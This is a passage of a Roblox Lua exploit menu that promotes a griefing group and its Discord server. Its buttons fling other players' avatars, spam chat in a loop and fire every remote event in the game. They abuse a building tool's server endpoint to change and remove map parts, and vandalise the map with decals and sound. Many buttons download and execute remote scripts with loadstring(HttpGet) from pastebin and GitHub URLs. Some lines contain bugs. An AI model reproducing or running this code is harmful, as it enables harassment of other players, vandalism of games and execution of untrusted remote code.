                    bullets_label.Size=UDim2.new(0,bullets_label.TextBounds.X,0,bullets_label.TextBounds.Y);
                    bullets_label.Position=UDim2.new(1,-bullets_label.TextBounds.X-6,1,-bullets_label.TextBounds.Y-6);
                end;
                wait(0.001);
            until nil;
        end)();

        --fling part


        local Players = game:GetService("Players")
        local Mouse = game:GetService("Players").LocalPlayer:GetMouse()

        Mouse.Button1Down:Connect(function()
            local Target = Mouse.Target
            if Target and Target.Parent and Target.Parent:IsA("Model") and Players:GetPlayerFromCharacter(Target.Parent) then
                local PlayerName = Players:GetPlayerFromCharacter(Target.Parent).Name
                local player = game.Players.LocalPlayer
                local Targets = {PlayerName}

                local Players = game:GetService("Players")
                local Player = Players.LocalPlayer

                local AllBool = false

                local GetPlayer = function(Name)
                    Name = Name:lower()
                    if Name == "all" or Name == "others" then
                        AllBool = true
                        return
                    elseif Name == "random" then
                        local GetPlayers = Players:GetPlayers()
                        if table.find(GetPlayers,Player) then table.remove(GetPlayers,table.find(GetPlayers,Player)) end
                        return GetPlayers[math.random(#GetPlayers)]
                    elseif Name ~= "random" and Name ~= "all" and Name ~= "others" then
                        for _,x in next, Players:GetPlayers() do
                            if x ~= Player then
                                if x.Name:lower():match("^"..Name) then
                                    return x;
                                elseif x.DisplayName:lower():match("^"..Name) then
                                    return x;
                                end
                            end
                        end
                    else
                        return
                    end
                end

                local Message = function(_Title, _Text, Time)
                    print(_Title)
                    print(_Text)
                    print(Time)
                end

                local SkidFling = function(TargetPlayer)
                    local Character = Player.Character
                    local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid")
                    local RootPart = Humanoid and Humanoid.RootPart

                    local TCharacter = TargetPlayer.Character
                    local THumanoid
                    local TRootPart
                    local THead
                    local Accessory
                    local Handle

                    if TCharacter:FindFirstChildOfClass("Humanoid") then
                        THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
                    end
                    if THumanoid and THumanoid.RootPart then
                        TRootPart = THumanoid.RootPart
                    end
                    if TCharacter:FindFirstChild("Head") then
                        THead = TCharacter.Head
                    end
                    if TCharacter:FindFirstChildOfClass("Accessory") then
                        Accessory = TCharacter:FindFirstChildOfClass("Accessory")
                    end
                    if Accessoy and Accessory:FindFirstChild("Handle") then
                        Handle = Accessory.Handle
                    end

                    if Character and Humanoid and RootPart then
                        if RootPart.Velocity.Magnitude < 50 then
                            getgenv().OldPos = RootPart.CFrame
                        end
                        if THumanoid and THumanoid.Sit and not AllBool then
                        end
                        if THead then
                            workspace.CurrentCamera.CameraSubject = THead
                        elseif not THead and Handle then
                            workspace.CurrentCamera.CameraSubject = Handle
                        elseif THumanoid and TRootPart then
                            workspace.CurrentCamera.CameraSubject = THumanoid
                        end
                        if not TCharacter:FindFirstChildWhichIsA("BasePart") then
                            return
                        end

                        local FPos = function(BasePart, Pos, Ang)
                            RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang
                            Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)
                            RootPart.Velocity = Vector3.new(9e7, 9e7 * 10, 9e7)
                            RootPart.RotVelocity = Vector3.new(9e8, 9e8, 9e8)
                        end

                        local SFBasePart = function(BasePart)
                            local TimeToWait = 2
                            local Time = tick()
                            local Angle = 0

                            repeat
                                if RootPart and THumanoid then
                                    if BasePart.Velocity.Magnitude < 50 then
                                        Angle = Angle + 100

                                        FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle),0 ,0))
                                        task.wait()

                                        FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
                                        task.wait()

                                        FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
                                        task.wait()

                                        FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
                                        task.wait()

                                        FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
                                        task.wait()

                                        FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
                                        task.wait()
                                    else
                                        FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
                                        task.wait()

                                        FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0))
                                        task.wait()

                                        FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
                                        task.wait()

                                        FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
                                        task.wait()

                                        FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0))
                                        task.wait()

                                        FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
                                        task.wait()

                                        FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0))
                                        task.wait()

                                        FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
                                        task.wait()

                                        FPos(BasePart, CFrame.new(0, -1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0))
                                        task.wait()

                                        FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
                                        task.wait()
                                    end
                                else
                                    break
                                end
                            until BasePart.Velocity.Magnitude > 500 or BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or not TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0 or tick() > Time + TimeToWait
                        end

                        workspace.FallenPartsDestroyHeight = 0/0

                        local BV = Instance.new("BodyVelocity")
                        BV.Name = "EpixVel"
                        BV.Parent = RootPart
                        BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
                        BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)

                        Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)

                        if TRootPart and THead then
                            if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then
                                SFBasePart(THead)
                            else
                                SFBasePart(TRootPart)
                            end
                        elseif TRootPart and not THead then
                            SFBasePart(TRootPart)
                        elseif not TRootPart and THead then
                            SFBasePart(THead)
                        elseif not TRootPart and not THead and Accessory and Handle then
                            SFBasePart(Handle)
                        else
                        end

                        BV:Destroy()
                        Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
                        workspace.CurrentCamera.CameraSubject = Humanoid

                        repeat
                            RootPart.CFrame = getgenv().OldPos * CFrame.new(0, .5, 0)
                            Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0))
                            Humanoid:ChangeState("GettingUp")
                            table.foreach(Character:GetChildren(), function(_, x)
                                if x:IsA("BasePart") then
                                    x.Velocity, x.RotVelocity = Vector3.new(), Vector3.new()
                                end
                            end)
                            task.wait()
                        until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25
                        workspace.FallenPartsDestroyHeight = getgenv().FPDH
                    else
                    end
                end

                getgenv().Welcome = true
                if Targets[1] then for _,x in next, Targets do GetPlayer(x) end else return end

                if AllBool then
                    for _,x in next, Players:GetPlayers() do
                        SkidFling(x)
                    end
                end

                for _,x in next, Targets do
                    if GetPlayer(x) and GetPlayer(x) ~= Player then
                        if GetPlayer(x).UserId ~= 1414978355 then
                            local TPlayer = GetPlayer(x)
                            if TPlayer then
                                SkidFling(TPlayer)
                            end
                        else
                        end
                    elseif not GetPlayer(x) and not AllBool then
                    end
                end
            end
        end)

    end)
end
coroutine.wrap(WXHMD_fake_script)()
local function VAVVNKT_fake_script() -- button_14.LocalScript 
    local script = Instance.new('LocalScript', button_14)

    local button = script.Parent

    button.MouseButton1Down:connect(function()

    end)
end
coroutine.wrap(VAVVNKT_fake_script)()
local function KGMUQA_fake_script() -- button_15.LocalScript 
    local script = Instance.new('LocalScript', button_15)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        if game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui") then
            game.Players.LocalPlayer.Character.Head:FindFirstChild("BillboardGui"):Remove()    
        end
        plr = game.Players.LocalPlayer.Name
        y = Instance.new("BillboardGui")
        y.Size = UDim2.new(0,100,0,150)
        y.StudsOffset = Vector3.new(0,1,0)
        y.Parent = game.Players[plr].Character.Head
        y.Adornee = game.Players[plr].Character.Head
        f = Instance.new("TextLabel")
        f.Parent = y
        f.BackgroundTransparency = 1
        f.Position = UDim2.new(0,0,0,-50)
        f.Size = UDim2.new(0,100,0,100)
        f.Font = "Arial"
        f.FontSize = "Size48"
        f.Text = game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.bgt.Text
        f.TextStrokeColor3 = Color3.new(0,0,0)
        f.TextColor3 = Color3.new(game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.r.Text/255,game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.g.Text/255,game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.b.Text/255)
        f.TextStrokeTransparency = 0
        f.TextYAlignment = "Bottom"
    end)
end
coroutine.wrap(KGMUQA_fake_script)()
local function VSJOVQF_fake_script() -- button_16.LocalScript 
    local script = Instance.new('LocalScript', button_16)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        game.Players.LocalPlayer.Name = game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sus.Text
    end)
end
coroutine.wrap(VSJOVQF_fake_script)()
local function AWLKGQB_fake_script() -- button_17.LocalScript 
    local script = Instance.new('LocalScript', button_17)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.swsjh.Text
    end)
end
coroutine.wrap(AWLKGQB_fake_script)()
local function KDBGDV_fake_script() -- button_18.LocalScript 
    local script = Instance.new('LocalScript', button_18)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        local name = game.Players.LocalPlayer.Name

        local p = Instance.new("Part")
        p.Parent = workspace
        p.Locked = true
        p.BrickColor = BrickColor.new("White")
        p.BrickColor = BrickColor.new(104)
        p.Size = Vector3.new(8, 1.2, 8)
        p.Anchored = true
        local m = Instance.new("CylinderMesh")
        m.Scale = Vector3.new(1, 0.5, 1)
        m.Parent = p
        while true do
            p.CFrame = CFrame.new(game.Players:findFirstChild(name).Character.Torso.CFrame.x, game.Players:findFirstChild(name).Character.Torso.CFrame.y - 4, game.Players:findFirstChild(name).Character.Torso.CFrame.z)
            wait()
        end
    end)
end
coroutine.wrap(KDBGDV_fake_script)()
local function EBZROFQ_fake_script() -- button_19.LocalScript 
    local script = Instance.new('LocalScript', button_19)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        local platform = Instance.new("Part")
        platform.Size = Vector3.new(16, 1, 16)
        platform.Transparency = 0.5
        platform.Color = Color3.fromRGB(255, 0, 255)
        platform.Anchored = true
        platform.Parent = workspace
        local player_position = game.Players.LocalPlayer.Character.Head.Position
        platform.Position = Vector3.new(player_position.X, player_position.Y-5, player_position.Z)
    end)
end
coroutine.wrap(EBZROFQ_fake_script)()
local function GECWI_fake_script() -- button_20.LocalScript 
    local script = Instance.new('LocalScript', button_20)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        while true do

            local args = {
                [1] = game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.st.Text,
                [2] = "All"
            }

            game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(unpack(args))

            wait(1.5)

        end
    end)
end
coroutine.wrap(GECWI_fake_script)()
local function YPYE_fake_script() -- button_21.LocalScript 
    local script = Instance.new('LocalScript', button_21)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        local Chicken = game.Players.LocalPlayer.Name
        game.Workspace[Chicken].Torso["Left Shoulder"].C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,math.pi/2,0) * CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
        game.Workspace[Chicken].Torso["Left Shoulder"].C1 = CFrame.new(0, 0.5, 0)
        game.Workspace[Chicken].Torso["Right Shoulder"].C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0) * CFrame.fromEulerAnglesXYZ(math.pi/2, 0, 0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0)
        game.Workspace[Chicken].Torso["Right Shoulder"].C1 = CFrame.new(0, 0.5, 0)
    end)
end
coroutine.wrap(YPYE_fake_script)()
local function PXYT_fake_script() -- button_22.LocalScript 
    local script = Instance.new('LocalScript', button_22)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        game.Workspace.Gravity = game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sg.Text
    end)
end
coroutine.wrap(PXYT_fake_script)()
local function NZXZI_fake_script() -- button_23.LocalScript 
    local script = Instance.new('LocalScript', button_23)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        game.Players.LocalPlayer.Character.Humanoid.JumpPower = game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.swsjh.Text
    end)
end
coroutine.wrap(NZXZI_fake_script)()
local function GNAVNL_fake_script() -- button_24.LocalScript 
    local script = Instance.new('LocalScript', button_24)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        for X = 1, math.huge, 0.2 do 
            wait() 
            game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C0 = CFrame.new(math.sin(X) / 1,1.5,0) 
            game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C1 = CFrame.new(0,0,0) 
        end 
        for X = 1, math.huge, 0.1 do 
            wait() 
            game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C0 = CFrame.new(0,1.5,0) * CFrame.fromAxisAngle(Vector3.new(0,1,0), X) 
            game.Workspace[game.Players.LocalPlayer.Name].Torso.Neck.C1 = CFrame.new(0,0,0) 
        end 
        for _,c in pairs(game.Players:GetChildren()) do
            c.Character.Head.Mesh.Scale = Vector3.new(100, 100, 100)
        end
        for _,c in pairs(game.Players:GetChildren()) do
            c.Character.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
        end
    end)
end
coroutine.wrap(GNAVNL_fake_script)()
local function QILPEVY_fake_script() -- button_25.LocalScript 
    local script = Instance.new('LocalScript', button_25)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet('https://pastebin.com/raw/h1TN1kij'))()
    end)
end
coroutine.wrap(QILPEVY_fake_script)()
local function ORTLQH_fake_script() -- button_26.LocalScript 
    local script = Instance.new('LocalScript', button_26)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:GetObjects("rbxassetid://16442596192")[1].Source)()
    end)
end
coroutine.wrap(ORTLQH_fake_script)()
local function UYGWJL_fake_script() -- button_27.LocalScript 
    local script = Instance.new('LocalScript', button_27)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/8fc8c93e4c272559cc5629a1ee56a262/raw/0fe33a2585ec108eecf0c5f37a64626adb65a94c/Project%2520Soviet"))()
    end)
end
coroutine.wrap(UYGWJL_fake_script)()
local function JOMSSFB_fake_script() -- button_28.LocalScript 
    local script = Instance.new('LocalScript', button_28)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://raw.githubusercontent.com/JxcExploit/Harkedv2-script/main/Leaked-v2hardked"))()
    end)
end
coroutine.wrap(JOMSSFB_fake_script)()
local function SWJK_fake_script() -- button_29.LocalScript 
    local script = Instance.new('LocalScript', button_29)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        local remoteamount = 0

        for i,v in pairs(game:GetDescendants()) do
            if v:IsA("RemoteEvent") then
                remoteamount = remoteamount + 1
                v:FireServer()
                if v:IsA("BindableEvent") then
                    remoteamount = remoteamount + 1
                    v:Fire()
                    if v:IsA("RemoteFunction") then
                        remoteamount = remoteamount + 1
                        v:InvokeServer()
                    end
                end
            end
        end
    end)
end
coroutine.wrap(SWJK_fake_script)()
local function KOGOB_fake_script() -- button_30.LocalScript 
    local script = Instance.new('LocalScript', button_30)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/Comet"))();
    end)
end
coroutine.wrap(KOGOB_fake_script)()
local function WMSMR_fake_script() -- button_31.LocalScript 
    local script = Instance.new('LocalScript', button_31)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://github.com/exxtremestuffs/SimpleSpySource/raw/master/SimpleSpy.lua"))()
    end)
end
coroutine.wrap(WMSMR_fake_script)()
local function HRJMKB_fake_script() -- button_32.LocalScript 
    local script = Instance.new('LocalScript', button_32)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet('https://pastefy.app/edMe7Bwx/raw'))()
    end)
end
coroutine.wrap(HRJMKB_fake_script)()
local function TEIB_fake_script() -- button_33.LocalScript 
    local script = Instance.new('LocalScript', button_33)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://pastebin.com/raw/vr2YVyF6"))();
    end)

end
coroutine.wrap(TEIB_fake_script)()
local function UFBQWJB_fake_script() -- button_34.LocalScript 
    local script = Instance.new('LocalScript', button_34)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://pastebin.com/raw/P1ayeCf5"))()
    end)
end
coroutine.wrap(UFBQWJB_fake_script)()
local function MHMTS_fake_script() -- button_35.LocalScript 
    local script = Instance.new('LocalScript', button_35)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/main/punch",true))()
    end)
end
coroutine.wrap(MHMTS_fake_script)()
local function WMZOEHI_fake_script() -- button_36.LocalScript 
    local script = Instance.new('LocalScript', button_36)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://cdn.wearedevs.net/scripts/BTools.txt"))()
    end)
end
coroutine.wrap(WMZOEHI_fake_script)()
local function DPJY_fake_script() -- button_37.LocalScript 
    local script = Instance.new('LocalScript', button_37)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:GetObjects("rbxassetid://6695644299")[1].Source)()
    end)
end
coroutine.wrap(DPJY_fake_script)()
local function TVIACA_fake_script() -- button_38.LocalScript 
    local script = Instance.new('LocalScript', button_38)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        loadstring(game:HttpGet("https://pastebin.com/raw/r7pVFVA7"))();
    end)
end
coroutine.wrap(TVIACA_fake_script)()
local function KNPJVCM_fake_script() -- button_39.LocalScript 
    local script = Instance.new('LocalScript', button_39)

    local button = script.Parent
    local gui = game.Players.LocalPlayer.PlayerGui.CoolGui

    button.MouseButton1Down:connect(function()
        gui:Destroy()
    end)
end
coroutine.wrap(KNPJVCM_fake_script)()
local function XVWGNC_fake_script() -- button_40.LocalScript 
    local script = Instance.new('LocalScript', button_40)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        -- thanks to moon for this dex / best dex out there
        loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/dex.lua"))()
    end)
end
coroutine.wrap(XVWGNC_fake_script)()
local function MGFUJR_fake_script() -- button_41.LocalScript 
    local script = Instance.new('LocalScript', button_41)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        local plr=game.Players.LocalPlayer
        local tool=Instance.new("Tool",plr.Backpack)
        tool.GripPos=Vector3.new(0.1,-1,0)
        tool.Name="Sword"
        local k=Instance.new("Part",tool)
        k.Name="Handle"
        k.Size=Vector3.new(0.4,4,0.4)
        local l=Instance.new("Animation",tool)
        l.AnimationId="rbxassetid://218504594"
        local m=plr.Character.Humanoid:LoadAnimation(l)
        db=true
        da=false
        tool.Equipped:connect(function()
            tool.Activated:connect(function()
                if db==true then
                    db=false
                    m:Play()
                    wait()
                    da=true
                    db=true
                    wait(0.5)
                    da=false
                end
            end)
        end)
        k.Touched:connect(function(n)
            if da==true then
                local o=n.Parent.Humanoid
                if o~=nil then
                    local p=game.Players:FindFirstChild(n.Parent.Name)
                    for j=1,10 do
                        if p.Name~="FunnyVideo15"then
                            if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
                                hiddenfling = true
                            else
                                hiddenfling = true
                                detection = Instance.new("Decal")
                                detection.Name = "juisdfj0i32i0eidsuf0iok"
                                detection.Parent = game:GetService("ReplicatedStorage")
                                local function fling()
                                    local hrp, c, vel, movel = nil, nil, nil, 0.1
                                    while true do
                                        game:GetService("RunService").Heartbeat:Wait()
                                        if hiddenfling then
                                            local lp = game.Players.LocalPlayer
                                            while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
                                                game:GetService("RunService").Heartbeat:Wait()
                                                c = lp.Character
                                                hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
                                            end
                                            if hiddenfling then
                                                vel = hrp.Velocity
                                                hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
                                                game:GetService("RunService").RenderStepped:Wait()
                                                if c and c.Parent and hrp and hrp.Parent then
                                                    hrp.Velocity = vel
                                                end
                                                game:GetService("RunService").Stepped:Wait()
                                                if c and c.Parent and hrp and hrp.Parent then
                                                    hrp.Velocity = vel + Vector3.new(0, movel, 0)
                                                    movel = movel * -1
                                                end
                                            end
                                        end
                                    end
                                end

                                fling()
                            end
                        end 
                    end
                end 
            end
        end)
    end)
end
coroutine.wrap(MGFUJR_fake_script)()
local function VLDBBW_fake_script() -- button_42.LocalScript 
    local script = Instance.new('LocalScript', button_42)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        game:GetService("StarterGui"):SetCore("SendNotification",{
            Title = "Discord", -- Required
            Text = "discord.gg/KkhpkGJdCp",
        })
    end)
end
coroutine.wrap(VLDBBW_fake_script)()
local function OJGT_fake_script() -- button_43.LocalScript 
    local script = Instance.new('LocalScript', button_43)

    local button = script.Parent
    local input = game.Players.LocalPlayer.PlayerGui.CoolGui.settings.smain.sid.Text

    button.MouseButton1Down:connect(function()
     local music = Instance.new("Sound")
    music.Name "Music"
    music.Parent = game.Workspace
    music.Volume = 10
    music.SoundId = input
    music.Looped = true
    music:Play()
    end)
end
coroutine.wrap(OJGT_fake_script)()
local function WKPRGIV_fake_script() -- button_44.LocalScript 
    local script = Instance.new('LocalScript', button_44)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        basics = {Color3.new(255/255,0/255,0/255),Color3.new(255/255,85/255,0/255),Color3.new(218/255,218/255,0/255),Color3.new(0/255,190/255,0/255),Color3.new(0/255,85/255,255/255),Color3.new(0/255,0/255,127/255),Color3.new(170/255,0/255,255/255),Color3.new(0/255,204/255,204/255),Color3.new(255/255,85/255,127/255),Color3.new(0/255,0/255,0/255),Color3.new(255/255,255/255,255/255)}
        game.Lighting.FogStart = 25
        game.Lighting.FogEnd = 300
        while true do
            wait(0.5)
            game.Lighting.FogColor = basics[math.random(1,#basics)]
        end
    end)
end
coroutine.wrap(WKPRGIV_fake_script)()
local function UTRYB_fake_script() -- button_45.LocalScript 
    local script = Instance.new('LocalScript', button_45)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        local s = Instance.new("Sky")
        s.Name = "Sky"
        s.Parent = game.Lighting
        local skyboxID = 15475953475
        s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID
        s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID
        s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID
        s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID
        s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID
        s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID
        game.Lighting.TimeOfDay = 12

        decalID = 14569362147
        function exPro(root)
            for _, v in pairs(root:GetChildren()) do
                if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then
                    v.Parent = nil
                elseif v:IsA("BasePart") then
                    v.Material = "Plastic"
                    v.Transparency = 0
                    local One = Instance.new("Decal", v)
                    local Two = Instance.new("Decal", v)
                    local Three = Instance.new("Decal", v)
                    local Four = Instance.new("Decal", v)
                    local Five = Instance.new("Decal", v)
                    local Six = Instance.new("Decal", v)
                    One.Texture = "http://www.roblox.com/asset/?id="..decalID
                    Two.Texture = "http://www.roblox.com/asset/?id="..decalID
                    Three.Texture = "http://www.roblox.com/asset/?id="..decalID
                    Four.Texture = "http://www.roblox.com/asset/?id="..decalID
                    Five.Texture = "http://www.roblox.com/asset/?id="..decalID
                    Six.Texture = "http://www.roblox.com/asset/?id="..decalID
                    One.Face = "Front"
                    Two.Face = "Back"
                    Three.Face = "Right"
                    Four.Face = "Left"
                    Five.Face = "Top"
                    Six.Face = "Bottom"
                end
                exPro(v)
            end
        end
        function asdf(root)
            for _, v in pairs(root:GetChildren()) do
                asdf(v)
            end
        end
        exPro(game.Workspace)
        asdf(game.Workspace)

        local playerLeaderstats = {}
        for i, v in pairs(game.Players:GetChildren()) do
            table.insert(playerLeaderstats, v)
        end
        for i, v in pairs(playerLeaderstats) do
            pe = Instance.new("ParticleEmitter",v.Character.Torso)
            pe.Texture = "http://www.roblox.com/asset/?id=14569362147"
            pe.VelocitySpread = 50
            se = Instance.new("ParticleEmitter",v.Character.Torso)
            se.Texture = "http://www.roblox.com/asset/?id=14569362147"
            se.VelocitySpread = 50
            fe = Instance.new("ParticleEmitter",v.Character.Torso)
            fe.Texture = "http://www.roblox.com/asset/?id=14569362147"
            fe.VelocitySpread = 50
        end

        for i,v in pairs(game.Workspace:GetChildren()) do
            if v.className == "Sound" then
                v:Stop()
                v:Remove()    
            end    
        end
        s = Instance.new("Sound",Workspace)
        s.SoundId = "rbxassetid://1839247124"
        s.Volume = 10
        s.Looped = true
        s.Pitch = 0.5
        s:Play()
        wait(.1)
        s:Play()

        local h = Instance.new("Hint", workspace)
        h.Text = "join team c00lkidd! discord.gg/KkhpkGJdCp"

    end)
end
coroutine.wrap(UTRYB_fake_script)()
local function AGPKAV_fake_script() -- button_46.LocalScript 
    local script = Instance.new('LocalScript', button_46)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        local playerLeaderstats = {}
        for i, v in pairs(game.Players:GetChildren()) do
            table.insert(playerLeaderstats, v)
        end
        for i, v in pairs(playerLeaderstats) do
            pe = Instance.new("ParticleEmitter",v.Character.Torso)
            pe.Texture = "http://www.roblox.com/asset/?id=8979672"
            pe.VelocitySpread = 50
            se = Instance.new("ParticleEmitter",v.Character.Torso)
            se.Texture = "http://www.roblox.com/asset/?id=176067516"
            se.VelocitySpread = 50
            fe = Instance.new("ParticleEmitter",v.Character.Torso)
            fe.Texture = "http://www.roblox.com/asset/?id=179012130"
            fe.VelocitySpread = 50
        end
    end)
end
coroutine.wrap(AGPKAV_fake_script)()
local function VBWFAA_fake_script() -- button_47.LocalScript 
    local script = Instance.new('LocalScript', button_47)

    local button = script.Parent

    button.MouseButton1Down:connect(function()
        --rgrg
        local player = game.Players.LocalPlayer
        local char = player.Character
        local tool
        for i,v in player:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        for i,v in game.ReplicatedStorage:GetDescendants() do
            if v.Name == "SyncAPI" then
                tool = v.Parent
            end
        end
        --craaa
        remote = tool.SyncAPI.ServerEndpoint
        function _(args)
            remote:InvokeServer(unpack(args))
        end
        function SetCollision(part,boolean)
            local args = {
                [1] = "SyncCollision",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CanCollide"] = boolean
                    }
                }
            }
            _(args)
        end
        function SetAnchor(boolean,part)
            local args = {
                [1] = "SyncAnchor",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["Anchored"] = boolean
                    }
                }
            }
            _(args)
        end
        function CreatePart(cf,parent)
            local args = {
                [1] = "CreatePart",
                [2] = "Normal",
                [3] = cf,
                [4] = parent
            }
            _(args)
        end
        function DestroyPart(part)
            local args = {
                [1] = "Remove",
                [2] = {
                    [1] = part
                }
            }
            _(args)
        end
        function MovePart(part,cf)
            local args = {
                [1] = "SyncMove",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf
                    }
                }
            }
            _(args)
        end
        function Resize(part,size,cf)
            local args = {
                [1] = "SyncResize",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["CFrame"] = cf,
                        ["Size"] = size
                    }
                }
            }
            _(args)
        end
        function AddMesh(part)
            local args = {
                [1] = "CreateMeshes",
                [2] = {
                    [1] = {
                        ["Part"] = part
                    }
                }
            }
            _(args)
        end

        function SetMesh(part,meshid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
                        ["MeshId"] = "rbxassetid://"..meshid
                    }
                }
            }
            _(args)
        end
        function SetTexture(part, texid)
            local args = {
                [1] = "SyncMesh",
                [2] = {
                    [1] = {
                        ["Part"] = part,
